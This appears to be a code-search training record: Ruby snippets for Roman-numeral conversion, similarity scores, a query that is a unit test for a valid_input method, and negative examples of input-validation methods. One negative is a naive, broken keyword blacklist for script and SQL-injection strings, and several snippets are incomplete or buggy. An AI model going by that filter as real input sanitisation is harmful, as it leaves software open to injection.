unless arabic_array_int[-2] != true || arabic_array_int[-2] == 9 || arabic_array_int[-2] == 4 || arabic_array_int[-2] >= 5 && arabic_array_int[-2] <= 8\n arabic_array_int[-2].times { |x| print \"X\" }\n end\n if arabic_array_int[-2] == 1\n print \"X\" \n elsif arabic_array_int[-2] == 2\n print \"XX\"\n elsif arabic_array_int[-2] == 3\n print \"XXX\"\n elsif arabic_array_int[-2] == 4\n print \"XL\"\n elsif arabic_array_int[-2] == 5\n print \"L\"\n elsif arabic_array_int[-2] == 6 \n print \"LX\"\n elsif arabic_array_int[-2] == 7\n print \"LXX\"\n elsif arabic_array_int[-2] == 8\n print \"LXXX\"\n elsif arabic_array_int[-2] == 9\n print \"XC\"\n end\n \n# begin ones place\n unless arabic_array_int[-1] == 9 || arabic_array_int[-1] == 4 || arabic_array_int[-1] >= 5 && arabic_array_int[-1] <= 8\n arabic_array_int[-1].times { |ones| print \"I\" }\n end\n if arabic_array_int[-1] == 5\n print \"V\"\n elsif arabic_array_int[-1] == 6 \n print \"VI\"\n elsif arabic_array_int[-1] == 7\n print \"VII\"\n elsif arabic_array_int[-1] == 8\n print \"VIII\"\n end \n if arabic_array_int[-1] == 9\n print \"IX\"\n end\n if arabic_array_int[-1] == 4\n print \"IV\"\n end\n# end line for readability\nprint \"\\n\"\nend",
"def roman_to_integer roman\r\n digit_vals = {'i' => 1,\r\n 'v' => 5,\r\n 'x' => 10,\r\n 'l' => 50,\r\n 'c' => 100,\r\n 'd' => 500,\r\n 'm' => 1000}\r\n total = 0\r\n prev = 0\r\n roman.reverse.each_char do |c_or_C|\r\n c = c_or_C.downcase\r\n val = digit_vals[c]\r\n if !val\r\n puts 'this is not a valid roman numeral!'\r\n return\r\n end\r\n if val < prev\r\n val *= -1\r\n else\r\n prev = val\r\n end\r\n\r\n total += val\r\n end\r\n\r\n total\r\nend",
"def to_roman(num, way = \"new\")\n \n\troman_string = \"\"\n\n\tif way == \"new\"\n\t\tNEW_WAY.each do |number, roman| \n\t\t\troman_string += roman * (num/number)\t\n\t\t\tnum %= number \n\t\tend\n\telsif way == \"old\"\n\t\tOLD_WAY.each do |number, roman| \n\t\t\troman_string += roman * (num/number)\t\n\t\t\tnum %= number \n\t\tend\n\telse\n\t\traise \"We don't know how to convert that way\"\n\tend\n \n\troman_string\nend",
"def old_school_roman_numerial number\n roman = ''\n\n # 1000\n roman << \"M\" * (number / 1000)\n # 500\n roman << \"D\" * (number % 1000 / 500)\n # 100\n roman << \"C\" * (number % 1000 % 500 / 100)\n # 50\n roman << \"L\" * (number % 1000 % 500 % 100 / 50)\n # 10\n roman << \"X\" * (number % 1000 % 500 % 100 % 50 / 10)\n # 5\n roman << \"V\" * (number % 1000 % 500 % 100 % 50 % 10 / 5)\n # 1\n roman << \"I\" * (number % 1000 % 500 % 100 % 50 % 10 % 5 / 1)\n\n puts roman\nend",
"def roman_numeral num\n roman_to_arabic = {\n M: 1_000, CM: 900, D: 500, CD: 400,\n C: 100, XC: 90, L: 50, XL: 40,\n X: 10, IX: 9, V: 5, IV: 4,\n I: 1\n }\n\n return '' if num <= 0\n roman_to_arabic.each { |key, val| return key.to_s + roman_numeral(num - val) if num >= val }\nend",
"def modern_roman (z)\n\tfirst = (z / 1000)\n\tsecond = (z % 1000 / 100)\n\tthird = (z % 100 / 10)\n\tlast = (z % 10 )\n\n\troman = \"\"\n\troman << \"M\" * first\n\n\tif second == 9\n\t\troman << \"CM\"\n\telsif second == 4\n\t\troman << \"CD\"\n\telse\n\t\troman << \"D\" * (z % 1000 / 500)\n\t\troman << \"C\" * (z % 500 / 100)\n\tend\n\n\tif third == 9\n\t\troman << \"XC\"\n\telsif third == 4\n\t\troman << \"XL\"\n\telse\n\t\troman << \"L\" * (z % 100 / 50)\n\t\troman << \"X\" * (z % 50 / 10)\n\tend\n\n\tif last == 9\n\t\troman << \"IX\"\n\telsif last == 4\n\t\troman << \"IV\"\n\telse\n\t\troman << \"V\" * (z % 10 / 5)\n\t\troman << \"I\" * (z % 5 / 1)\n\tend\nend",
"def roman_numerals number\n roman_numerals = ''\n\n roman_numerals += 'M' * (number / 1000)\n number %= 1000\n\n roman_numerals += 'D' * (number / 500)\n number %= 500\n\n roman_numerals += 'C' * (number / 100)\n number %= 100\n\n roman_numerals += 'L' * (number / 50)\n number %= 50\n\n roman_numerals += 'X' * (number / 10)\n number %= 10\n\n roman_numerals += 'V' * (number / 5)\n number %= 5\n\n roman_numerals += 'I' * (number / 1)\n number %= 1\n\n roman_numerals\nend",
"def old_r_conv nums\n\troman = ''\n\troman = roman + 'M' * (nums/1000)\n\troman = roman + 'D' * ((nums%1000)/500)\n\troman = roman + 'C' * ((nums%500)/100)\n\troman = roman + 'L' * ((nums%100)/50)\n\troman = roman + 'X' * ((nums%50)/10)\n\troman = roman + 'V' * ((nums%10)/5)\n\troman = roman + 'I' * ((nums%5)/1)\n\n\tputs roman\nend",
"def roman_to_integer str\r\n result = 0\r\n idx = 0\r\n\r\n # thousands\r\n while true\r\n if str[idx, 1].downcase != 'm'\r\n break\r\n end\r\n result += 1000\r\n idx += 1 \r\n end\r\n\r\n # 900 or 400 or 500\r\n if str[idx, 2].downcase == 'cm'\r\n result += 900\r\n idx += 2\r\n elsif str[idx, 2].downcase == 'cd'\r\n result += 400\r\n idx += 2\r\n elsif str[idx, 1].downcase == 'd'\r\n result += 500\r\n idx += 1\r\n end\r\n\r\n # hundreds\r\n while true\r\n if str[idx, 1].downcase != 'c'\r\n break\r\n end\r\n result += 100\r\n idx += 1\r\n end\r\n\r\n # 90 or 50 or 40\r\n if str[idx, 2].downcase == 'xc'\r\n result += 90\r\n idx += 2\r\n elsif str[idx, 2].downcase == 'xl'\r\n result += 40\r\n idx += 2\r\n elsif str[idx, 1].downcase == 'l'\r\n result += 50\r\n idx += 1\r\n end\r\n\r\n # tens\r\n while true\r\n if str[idx, 1].downcase != 'x'\r\n break\r\n end\r\n result += 10\r\n idx += 1 \r\n end\r\n\r\n # 9 or 4 or 5\r\n if str[idx, 2].downcase == 'ix'\r\n result += 9\r\n idx += 2\r\n elsif str[idx, 2].downcase == 'iv'\r\n result += 4\r\n idx += 2\r\n elsif str[idx, 1].downcase == 'v'\r\n result += 5\r\n idx += 1\r\n end\r\n\r\n # ones\r\n while true\r\n if str[idx, 1].downcase != 'i'\r\n break\r\n end\r\n result += 1\r\n idx += 1\r\n end\r\n\r\n if idx == str.length\r\n return result\r\n else\r\n puts \"#{str} is not a valid roman number\"\r\n end\r\nend",
"def roman_numeral num\r\n\r\n\tthous = (num \t\t\t/ 1000)\r\n\thunds = (num \t% 1000 \t/ 100)\r\n\ttens = (num \t% 100 \t/ 10)\r\n\tones = (num \t% \t\t\t10)\r\n\r\n\troman = 'M' * thous\r\n\r\nend",
"def old_roman_numeral number\n digits = []\n i = 4\n while i>0\n digits.push (number%10)\n number = (number/10).to_i\n i -= 1\n end\n thousandth = 'M'*digits[3]\n hundredth = 'D'*(digits[2]/5).to_i+'C'*(digits[2]%5)\n tenth = 'L'*(digits[1]/5).to_i+'X'*(digits[1]%5)\n unit = 'V'*(digits[0]/5).to_i+'I'*(digits[0]%5)\n puts thousandth+hundredth+tenth+unit\nend",
"def solution(number)\n\nm, r_1 = number.divmod(1000)\ncd, r_2 = r_1.divmod(100)\nlx, r_3 = r_2.divmod(10)\nvi, r_4 = r_3.divmod(1)\n\nroman = []\n\nm.times { roman << \"M\" }\n\nif cd <= 3\n\tcd.times { roman << \"C\" }\nelsif cd == 4\n\troman << \"CD\"\nelsif cd == 5\n\troman << \"D\"\nelsif cd > 5 && cd < 9\n\troman << \"D\"\n\t(cd - 5).times { roman << \"C\" }\nelsif cd == 9\n\troman << \"CM\"\nend\n\nif lx <= 3\n\tlx.times { roman << \"X\" }\nelsif lx == 4\n\troman << \"XL\"\nelsif lx == 5\n\troman << \"L\"\nelsif lx > 5 && lx < 9\n\troman << \"L\"\n\t(lx - 5).times { roman << \"X\" }\nelsif lx == 9\n\troman << \"XC\"\nend\n\nif vi <= 3\n\tvi.times { roman << \"I\" }\nelsif vi == 4\n\troman << \"IV\"\nelsif vi == 5\n\troman << \"V\"\nelsif vi > 5 && vi < 9\n\troman << \"V\"\n\t(vi - 5).times { roman << \"I\" }\nelsif vi == 9\n\troman << \"IX\"\nend\n\nroman.join\n\nend",
"def roman\n #old_roman = nil\n #i,v,x,l,c,d,ms,request = nil\n while true \n puts \"enter a number between 1 and 3000 ['q' to quit program]\"\n request = gets.chomp\n break if request.downcase == 'q'\n (puts 'only enter between 1 and 3000';next) if request.to_i < 1 || request.to_i > 3000\n request= request.to_i\n ms = request / 1000\n test = request % 1000\n d = test / 500\n test = test % 500\n c = test / 100\n test = test % 100\n l = test / 50\n test = test % 50\n x = test / 10\n test = test % 10\n v = test / 5\n test = test % 5\n i = test\n puts\n puts \n old_roman = 'M'*ms + 'D'*d + 'C'*c+ 'L'*l + 'X'*x + 'V'*v+ 'I'*i\n puts old_roman\n end\n old_roman\nend",
"def old_roman_numeral num\nnumerals = \"\"\nnumerals << \"M\" * (num / 1000)\nnumerals << \"D\" * (num % 1000 /500)\nnumerals << \"C\" * (num % 500 / 100)\nnumerals << \"L\" * (num % 100 / 50)\nnumerals << \"X\" * (num % 50 / 10)\nnumerals << \"V\" * (num % 10 / 5)\nnumerals << \"I\" * (num % 5 / 1)\nnumerals\nend",
"def old_roman_numberals num\n roman = \"\"\n roman += \"M\" * (num/1000)\n roman += \"D\" * ((num%1000)/500)\n roman += \"C\" * ((num%500)/100)\n roman += \"L\" * ((num%100)/50)\n roman += \"X\" * ((num%50)/10)\n roman += \"V\" * ((num%10)/5)\n roman += \"I\" * ((num%5)/1)\nputs roman\nend",
"def roman\n\t\treturn \"-#{(-self).roman}\" if self < 0\n\t\treturn \"\" if self == 0\n\t\t@@roman_values_assoc.each do | (i, v) |\treturn(i+(self-v).roman) if v <= self\tend\n\tend",
"def decimal_to_roman decimal\n roman = \"\"\n i = 0\n\n # Greedily append the highest roman numeral that fits\n while i < ROMANS.size\n numeral = ROMANS[i]\n if VALUE[numeral] <= decimal\n roman += numeral\n decimal -= VALUE[numeral]\n else\n i += 1\n end\n end\n\n # Find groups of unnecessary repeated numerals, replace with subtractive \n # pairs.\n for repeat in REPEATS do\n roman = roman.sub(repeat, SUB_PAIRS[repeat])\n end\n\n return roman\nend",
"def roman_numeral number\n\nend",
"def convert(c)\n out = []\n if c == 100\n out << \"C\"\n c -= 100\n end\n if c >= 90\n out << \"XC\"\n c -= 90\n end\n if c >= 50\n out << \"L\"\n c -= 50\n end\n if c >= 40\n out << \"XL\"\n c -= 40\n end\n while c >= 10\n out << \"X\"\n c -= 10\n end\n if c == 9\n out << \"IX\"\n c -= 9\n end\n if c >= 5\n out << \"V\"\n c -= 5\n end\n if c == 4\n out << \"IV\"\n c -= 4\n end\n while c > 0\n out << \"I\"\n c -= 1\n end\n puts \"Your number in Roman Numeral is:\"\n puts out.join\nend",
"def to_modern_roman(number)\n\n\twhile number.to_i <= 3000\n\t\t# split number into an array\n\t\tarray = number.split(//).map { |x| x.to_i }\n\t\tresult =[]\n\t\t# array has length of 4\n\t\tuntil array.length == 4\n\t\tarray.unshift(0)\n\t\tend\n\t\t# 1000s of number\n\t\tif array[-4] < 4 \n\t\t\t\tnum = array[-4]\n\t\t\t\tnum.times { result << \"M\" }\n\t\tend\n\t\t# 100s of number\n\t\tif array[-3] < 4\n\t\t\t\tnum = array[-3]\n\t\t\t\tnum.times { result << \"C\" }\n\t\telsif array[-3] == 4\n\t\t\t\tnum = array[-3]\n\t\t\t\tresult << \"CD\"\n\t\telsif array[-3] == 6\n\t\t\t\tnum = array[-3]\n\t\t\t\tresult << \"DC\"\n\t\telsif array[-3] == 9\n\t\t\t\tnum = array[-3]\n\t\t\t\tresult << \"CM\"\n\t\telse\n\t\t\t\tnum = array[-3]\n\t\t\t\tresult << \"D\" \n\t\t\t\t(num-5).times { result << \"C\" }\n\t\tend\n\t\t# 10s of number\n\t\tif array[-2] < 4\n\t\t\t\tnum = array[-2]\n\t\t\t\tnum.times { result << \"X\" }\n\t\telsif array[-2] == 4\n\t\t\t\tnum = array[-2]\n\t\t\t\tresult << \"XL\"\n\t\telsif array[-2] == 6\n\t\t\t\tnum = array[-2]\n\t\t\t\tresult << \"LX\"\n\t\telsif array[-2] == 9\n\t\t\t\tnum = array[-2]\n\t\t\t\tresult << \"XC\"\n\t\telse\n\t\t\t\tnum = array[-2]\n\t\t\t\tresult << \"L\" \n\t\t\t\t(num-5).times { result << \"X\" }\n\t\tend\n\t\t# single digits of number\n\t\tif array[-1] < 4\n\t\t\t\tnum = array[-1]\n\t\t\t\tnum.times { result << \"I\" }\n\t\telsif array[-1] == 4\n\t\t\t\tnum = array[-1]\n\t\t\t\tresult << \"IV\"\n\t\telsif array[-1] == 6\n\t\t\t\tnum = array[-1]\n\t\t\t\tresult << \"VI\"\n\t\telsif array[-1] == 9\n\t\t\t\tnum = array[-1]\n\t\t\t\tresult << \"IX\"\n\t\telse\n\t\t\t\tnum = array[-1]\n\t\t\t\tresult << \"V\" \n\t\t\t\t(num-5).times { result << \"I\" }\t\n\t\tend\n\t\t# return number in roman numerals\n\t\tputs \"#{number} in New Style Roman Numerals is #{result.join(\"\")}.\"\n\t\texit\n\tend\n\tputs \"Number must be greater than 3000.\"\n\texit\nend",
"def old_school_roman_numeral(num)\n arabs_to_romans = [\n ['M', 1000],\n ['D', 500],\n ['C', 100],\n ['L', 50],\n ['X', 10],\n ['V', 5],\n ['I', 1]\n ]\n\n result = ''\n\n arabs_to_romans.each do |arab_to_roman|\n arab = arab_to_roman[1]\n roman = arab_to_roman[0]\n\n if num / arab != 0\n result += roman * (num / arab)\n num = num % arab\n end\n end\n result\nend",
"def vol_roman\n dict = { M: 1000, CM: 900, D: 500, CD: 400,\n C: 100, XC: 90, L: 50, XL: 40,\n X: 10 , IX: 9, V: 5, IV: 4,\n I: 1 };\n input, output = vol.to_i, ''\n\n # Descend through the character list.\n dict.each_pair do |r, a|\n # Subtract from the input/add to the output until\n # this character is no longer useful.\n while input >= a { input -= a; output << r.to_s }\n end\n \n output\n end\nend",
"def roman digit\n\n\trules = [ 'I', 'V', 'X', 'L', 'C', 'D', 'M']\n\tnum = digit[0]\n\tplace = digit[1]\n\n\nromannumeral = []\nif num == 5\n\tromannumeral.push rules[place+1].to_s\n\n\nelse if num > 5\n\tromannumeral.push rules[place+1].to_s\n\tnum = num - 5\n\tnum.times do\n\tromannumeral.push rules[place].to_s\n\tend\n\nelse if num < 5\n\tnum.times do\n\t\tputs 'num<5'\n\tromannumeral.push rules[place].to_s\n\tend\n\n\tend\n\tend\n\tend\n\nreturn romannumeral\nend",
"def roman_numbers num\n case num\n when 'CM'\n return 900\n when 'CD'\n return 400\n when 'XC'\n return 90\n when 'XL'\n return 40\n when 'IX'\n return 9\n when 'IV'\n return 4\n else\n return false\n end\nend",
"def old_roman_numeral number\n numeral = \"\"\n\n numeral = numeral + \"M\" * (number / 1000)\n numeral = numeral + \"D\" * (number % 1000/500)\n numeral = numeral + \"C\" * (number % 500/ 100) \n numeral = numeral + \"L\" * (number % 100/ 50) \n numeral = numeral + \"X\" * (number % 50/ 10) \n numeral = numeral + \"V\" * (number % 10/ 5) \n numeral = numeral + \"I\" *(number % 5/ 1) \n numeral\nend",
"def roman_to_integer roman \n digit_vals = {'i' => 1,\n 'v' => 5,\n 'x' => 10,\n 'l' => 50,\n 'c' => 100,\n 'd' => 500,\n 'm' => 1000}\n total = 0 \n prev = 0 \n index = roman.length - 1 \n while index >= 0 \n c = roman[index].downcase \n index = index - 1 \n val = digit_vals[c]\n if !val \n puts \"This is not a valud roman numeral\"\n return \n end \n if val < prev\n val = val * -1\n else \n prev = val \n end \n total = total + val \n end \n total \nend",
"def old_roman_numeral num\n orn = ''\n \torn += 'M' * (num/1000)\n \tnum = num % 1000\n \torn += 'D' * (num/500)\n \tnum = num % 500\n \torn += 'C' * (num/100)\n \tnum = num % 100\n \torn += 'L' * (num/50)\n \tnum = num % 50\n \torn += 'X' * (num/10)\n \tnum = num % 10\n \torn += 'V' * (num/5)\n \tnum = num % 5\n \torn += 'I' * (num)\n \treturn orn\nend",
"def first_roman_for( number )\n map = {\n 1 => 'I',\n 5 => 'V',\n 10 => 'X',\n 50 => 'L',\n 100 => 'C',\n 500 => 'D',\n 1000 => 'M'\n }\n \n decimal_place = number.to_s.size - 1 # the number of digits in the number passed\n factor = 10 ** decimal_place # the factor : 1 for one's place , 10 for tens place : the factor for the digit we are working on \n \n #append the roman_representation according to the digit\n return ( map[factor] ) * ( number/(factor) ) if number < 4 * factor \n return ( map[factor] + map[ 5*factor ] ) if number >= 4 * factor && number < 5 * factor\n return ( map[ 5 * factor ] ) if number >= ( 5 * factor ) && number < ( 6 * factor )\n return ( map[ 5 * factor ] + ( map[ factor ] * (( number - 5*factor )/factor) )) if number >= 6 * factor && number < 9 * factor\n return ( map[factor] + map[ 10 * factor ] ) if number >= 9 * factor\n end",
"def roman(decimal)\n bases = ROMANS.keys\n roman = \"\"\n base = bases.pop\n while base > 1 and decimal > 0 do\n y = Math.log(decimal, base).floor \n if y > 0\n roman << ROMANS[base] * y\n decimal -= base ** y\n else\n base = bases.pop\n end\n end\n roman << ROMANS[base] * decimal\n end",
"def roman(decimal)\n bases = ROMANS.keys\n roman = \"\"\n base = bases.pop\n while base > 1 and decimal > 0 do\n y = Math.log(decimal, base).floor \n if y > 0\n roman << ROMANS[base] * y\n decimal -= base ** y\n else\n base = bases.pop\n end\n end\n roman << ROMANS[base] * decimal\n end",
"def old_school(num) \n roman = ''\n roman = roman + 'M' * (num / 1000)\n roman = roman + 'D' * (num % 1000/ 500)\n roman = roman + 'C' * (num % 500/ 100)\n roman = roman + 'L' * (num % 100/ 50)\n roman = roman + 'X' * (num % 50/ 10)\n roman = roman + 'V' * (num % 10/ 5)\n roman = roman + 'I' * (num % 5/ 1)\n roman \nend",
"def solution(number)\n roman_numeral = { 1 => 'I', 4 => 'IV', 5=> 'V', 6 => 'VI', 10=> 'X', 50=> 'L', 100=> 'C', 500=> 'D', 1000=> 'M' }\n numbers = number.digits.map.with_index{ |int, idx| int * 10**idx }\n numbers.map{ |number| roman_numeral[number] }.reverse.join\nend",
"def convertToRoman(n)\n #divide by roman num taken out\n #num is remainder \n #repeat\n roman = { 1000 => \"M\", 900 => \"CM\", 500 => \"D\", 400 => \"CD\", 100 => \"C\", 90 => \"XC\", 50 => \"L\", 40 => \"XL\", 10 => \"X\", 9 => \"IX\", 5 => \"V\", 4 => \"IV\", 1 => \"I\" }\n\n ans = \"\"\n roman.keys.each do |divisor|\n quotient, modulus = n.divmod(divisor)\n ans << roman[divisor] * quotient\n n = modulus\n end\n return ans \nend",
"def old_school_roman (y)\n\troman = \"\"\n\troman << \"M\" * (y / 1000)\n\troman << \"D\" * (y % 1000 / 500)\n\troman << \"C\" * (y % 500 / 100)\n\troman << \"L\" * (y % 100 / 50)\n\troman << \"X\" * (y % 50 / 10)\n\troman << \"V\" * (y % 10 / 5)\n\troman << \"I\" * (y % 5 / 1)\n\troman\nend",
"def from_roman(roman)\n roman = roman.strip.upcase\n roman_a = roman.chars\n integer = 0\n roman_a.zip(roman_a[1..-1]).each do |ch, nch|\n if CHAR_PRECEDENCE.has_key?(ch) and CHAR_PRECEDENCE[ch].include?(nch)\n integer -= CHAR_VALUES[ch]\n else\n integer += CHAR_VALUES[ch]\n end\n end\n integer\nend",
"def old_roman_mod\n old_roman = nil\n i,v,x,l,c,d,ms,request = nil,nil,nil,nil,nil,nil,nil,nil\n ms = 0\n while true \n puts \"enter a number between 1 and 3000 ['q' to quit program]\"\n request = gets.chomp\n break if request.downcase == 'q'\n (puts 'only enter between 1 and 3000';next) if request.to_i < 1 || request.to_i > 3000\n request= request.to_i\n ms = request / 1000\n test = request % 1000\n d = test / 500\n test = test % 500\n c = test / 100\n test = test % 100\n l = test / 50\n test = test % 50\n x = test / 10\n test = test % 10\n v = test / 5\n test = test % 5\n i = test\n puts\n puts \n old_roman = 'M'*ms + 'D'*d + 'C'*c+ 'L'*l + 'X'*x + 'V'*v+ 'I'*i\n puts old_roman\n end\n old_roman\nend",
"def roman (remainder, digit)\r\n if remainder < digit # ie you do not have any of this roman letter\r\n x = nil.to_i\r\n else\r\n x = remainder / digit\r\n end\r\n\r\n y = remainder % digit\r\n\r\n return [x,y]\r\nend",
"def to_roman(num)\n\n result = \"\"\n\n roman_mappings.each do |arabic, roman|\n #if 2000 appended to result then repeat\n while num >= arabic\n result << roman\n num -= arabic\n end\n end\n puts result\nend"
] | [
"0.82702076",
"0.8263582",
"0.8190505",
"0.8190505",
"0.8175462",
"0.81322557",
"0.7928665",
"0.78959626",
"0.7867466",
"0.7841939",
"0.7831812",
"0.77904147",
"0.77902734",
"0.77740103",
"0.7768108",
"0.7722397",
"0.7635574",
"0.7632291",
"0.76203805",
"0.7618062",
"0.7570751",
"0.7543878",
"0.75346255",
"0.7491503",
"0.746882",
"0.7464307",
"0.7442288",
"0.74365795",
"0.7417834",
"0.7413805",
"0.73798394",
"0.73741406",
"0.734315",
"0.73368555",
"0.7329577",
"0.7327911",
"0.73245037",
"0.73220843",
"0.7321423",
"0.73073715",
"0.72986674",
"0.72889096",
"0.7287018",
"0.72869235",
"0.72579426",
"0.7252735",
"0.7252018",
"0.72471005",
"0.72251946",
"0.72084856",
"0.7191749",
"0.7172189",
"0.7167151",
"0.7163621",
"0.7153325",
"0.71455765",
"0.71403325",
"0.7133341",
"0.7129758",
"0.71284235",
"0.71274227",
"0.7127138",
"0.7122809",
"0.7098664",
"0.7092558",
"0.7073193",
"0.70555204",
"0.7049919",
"0.70401746",
"0.7033791",
"0.70264715",
"0.7015106",
"0.70068216",
"0.70020777",
"0.69839114",
"0.6976675",
"0.6973878",
"0.69736403",
"0.69529265",
"0.694641",
"0.69111836",
"0.69110537",
"0.6907046",
"0.6895881",
"0.6886324",
"0.6885188",
"0.687938",
"0.6857175",
"0.6847048",
"0.68458897",
"0.6836318",
"0.6836318",
"0.6810626",
"0.6790093",
"0.67862445",
"0.67741686",
"0.67429453",
"0.6731876",
"0.6730031",
"0.67083335"
] | 0.7801257 | 11 |
TEST CASE: valid_input METHOD. IT SHOULD RETURN nil IF VALID(ROMAN LETTERS AND OPERATORS) INPUT PASSED ELSE RAISE EXCEPTION | def test_valid_input
assert_equal(nil, RomanMathmaticalOperation.new("X", "+","V").send(:valid_input))
exception = assert_raise("RomanMathmaticalOperationError") {RomanMathmaticalOperation.new("X", "+",nil).send(:valid_input)}
assert_equal("This X or is not valid", exception.message)
exception = assert_raise("RomanMathmaticalOperationError") {RomanMathmaticalOperation.new("X", "%","V").send(:valid_input)}
assert_equal("Operator missmatch", exception.message)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def validate_input input\r\n\t\t\t\t\t\t\tif @console\r\n\t\t (input.match(/\\A[[:alpha:][:blank:]]+\\z/) || (check_enter input)) && (input.size < 2)\r\n\t\t else\r\n\t\t input.match(/\\A[[:alpha:][:blank:]]+\\z/) && !(check_enter input)\r\n\t\t end\r\n\t\t end",
"def validate_input\n problems = test_input\n raise OperationalError, \"Found the following problems: #{problems}\" unless problems.empty?\n end",
"def check_valid_characters(input)\n unless(input.match? /\\A[a-z A-Z0-9!@#&*()-+=\\/~;:?'-]{1,40}\\z/)\n @io.produce_output \"invalid search, please try another: \"\n @session.route(@io.receive_input.strip)\n end\n end",
"def initialize(input)\n @input = input\n fail 'Bad input. All characters must be ( or ).' unless valid_input?\n end",
"def valid_test(input)\n result = true\n if input.length < 2\n puts \"Your word needs at least two letters. Try again.\"\n result = false\n end\n\n if input !~ /[aeiou]/\n puts \"Your word needs at least one vowel. Try again.\"\n result = false\n end\n\n if input == 0\n puts \"I don't think that was a valid word. Try again.\"\n result = false\n end\n return result\nend",
"def check_input(letter)\n # does the input match the single digit length requirement?\n if letter.length() -1 == 1\n # is the input a letter or a number?\n if letter[0][/[a-zA-Z]+/] == letter[0] \n # is the input a match to the generated word? \n if $word.include? (letter[0])\n # the input matches the generated word\n return 0\n else\n # the input is valid but does not match the word\n return 1\n end\n else\n # the input meets the length requirement but is not a letter\n return 2\n end\n else\n # the input is not valid\n return 3\n end\nend",
"def validate_input_last input\r\n\t\t if @console\r\n\t\t input.match(/\\A[[:alpha:][:blank:]]+\\z/) || (check_enter input)\r\n\t\t else\r\n\t\t input.match(/\\A[[:alpha:][:blank:]]+\\z/) && !(check_enter input)\r\n\t\t end\r\n\t\t end",
"def valid_user_input?(input)\n input.length > 0\n end",
"def test_that_will_return_invalid_if_too_many_letters_or_wrong_characters\n assert_equal(\"Invalid Input\", arabic_converter(\"IIII\"))\n assert_equal(\"Invalid Input\", arabic_converter(\"1\"))\n assert_equal(\"Invalid Input\", arabic_converter(\"xV\"))\n assert_equal(\"Invalid Input\", arabic_converter(\"a.]\"))\n end",
"def test_name_generator_with_invalid_input\nresult = name_generator(\"89&6\\n 5.,?<\")\nassert_equal(\"Inavalid ID. Please enter new ID with only lower case letters.\", result)\nend",
"def valid_input\n if !@operand_one or !@operand_two or !RomanMathmaticalOperation.is_roman(@operand_one) or !RomanMathmaticalOperation.is_roman(@operand_two)\n raise RomanMathmaticalOperationError, \"This #{@operand_one} or #{@operand_two} is not valid\"\n end\n\n unless OPERATORS.include?(@operator)\n raise RomanMathmaticalOperationError, \"Operator missmatch\"\n end\n end",
"def valid_input?\n @spec = Spec.new\n # Spec validation (with @spec.valid?) will catch invalid zip codes\n zip_code = params[:zip_code]\n @spec.zip_code = zip_code\n # There are a good number of zip codes for which there is no information\n location = GeoDatum.find_by_zip_code(zip_code)\n if @spec.valid? and not zip_code.blank? and location.nil?\n @spec.errors.add(:zip_code, \"does not exist in our database\")\n end\n # The age string should convert to valid integers\n unless params[:min_age].valid_int? and params[:max_age].valid_int?\n @spec.errors.add_to_base(\"Age range is invalid\")\n end\n # The zip code is necessary if miles is provided and vice versa\n miles = params[:miles]\n if (!miles.blank? and zip_code.blank?) || (!zip_code.blank? and miles.blank?)\n @spec.errors.add_to_base(\"zip code and miles have to be specified together\")\n end\n \n # Check for invalid location radius if present\n @spec.errors.add_to_base(\"Location radius is invalid\") if !miles.blank? && !miles.valid_float?\n \n \n # The input is valid iff the errors object is empty\n @spec.errors.empty?\n end",
"def check_input (letter)\n # does the input match the single digit length requirement?\n if letter.length() -1 == 1\n # is the input a letter or a number?\n if letter[0][/[a-zA-Z]+/] == letter[0] \n # is the input a match to the generated word? \n if $input_array.include? (letter[0])\n # the input matches the generated word\n return 0\n else\n # the input is valid but does not match the word\n return 1\n end\n else\n # the input meets the length requirement but is not a letter\n return 2\n end\n else\n # the input is not valid\n return 3\n end\nend",
"def validate()\n if (sequenz?)\n @string.each_char do |char|\n if([email protected](/#{char}+/))\n raise \"String alphabet is not correct\\nChar: #{char}\\nString: #{@string}\" \n end\n end\n end\n end",
"def get_user_input\n user_input_valid gets.chomp\n end",
"def is_input_valid?(input)\n if input.length == 1\n (input.ord >= 97 && input.ord <=122) ? true : false\n end\n end",
"def test_7_rejects_only_alphnumeric\n result = is_alphanumeric?(\"1Abjilsa2\")\n refute(result, \"1Abjilsa2 has no alphanumeric, should be valid\")\n end",
"def test_user_input_driver_print_valid\n\n end",
"def valid_input(input)\n valid = false\n parsed_input = downcase_camelcase_input(input)\n while valid == false\n #accepts uppercase or lowercase Y/N\n if parsed_input == \"Y\" || parsed_input ==\"N\"\n valid = true\n else\n puts \"\\nPlease enter Y or N:\\n\"\n print \"⚡️ \"\n input = gets.chomp.strip\n parsed_input = downcase_camelcase_input(input)\n end\n end\n parsed_input\n end",
"def validate_user_input(input)\r\n if input =~ \"/(script)|(<)|(>)|(%3c)|(%3e)|(SELECT) |(UPDATE) |\"\\\r\n \"(INSERT) |(DELETE)|(GRANT) |(REVOKE)|(UNION)|(&lt;)|\"\\\r\n \"(&gt;)/\"\r\n return nil\r\n end \r\n return input \r\n end",
"def validate_input_1option\n begin\n x = gets.chomp.to_i\n raise \"Incorrect Input\" if x != 1\n return x\n rescue\n puts \"Please Enter 1\"\n validate_input_1option\n end\nend",
"def valid?(input)\n OPERATORS.include?(input) || numeric?(input)\n end",
"def check_result(user_input, letters, good_letters, bad_letters)\n e_chars = %w[е ё]\n i_chars = %w[и й]\n char_hash = {\n 'е' => 'ё',\n 'ё' => 'е',\n 'и' => 'й',\n 'й' => 'и'\n }\n\n already_in_good = good_letters.include?(user_input)\n already_in_bad = bad_letters.include?(user_input)\n\n return 0 if already_in_good || already_in_bad\n\n if letters.include?(user_input) ||\n (e_chars.include?(user_input) && letters.any? { |c| e_chars.include?(c) }) ||\n (i_chars.include?(user_input) && letters.any? { |c| i_chars.include?(c) })\n\n good_letters.push(user_input)\n\n if char_hash.keys.include?(user_input)\n char = char_hash[user_input]\n good_letters.push(char)\n end\n\n return (letters - good_letters).empty? ? 1 : 0\n end\n\n bad_letters.push(user_input)\n\n if char_hash.keys.include?(user_input)\n char = char_hash[user_input]\n bad_letters.push(char)\n end\n\n -1\nend",
"def check_input (input)\n return false if split_input(input) == false\n return true if (split_input(input).all? {|coordinate| /[0-2]/ === coordinate.to_s})\n puts \"Enter the correct input\"\n return false\n end",
"def validate_input(input)\n if(input < 1)\n return false\n end\n return true\n end",
"def validate_input # :nodoc:\n raise ComplexMatcherError.new(\"name can't be nil\") if @name.nil?\n raise ComplexMatcherError.new(\"regexp can't be nil\") if @regexp.nil?\n end",
"def test_6_accepts_includes_non_alphanumeric\n result = is_alphanumeric?(\"1Abjils&\")\n assert(result, \"1ABjils& has non alphanumeric, should be valid\")\n end",
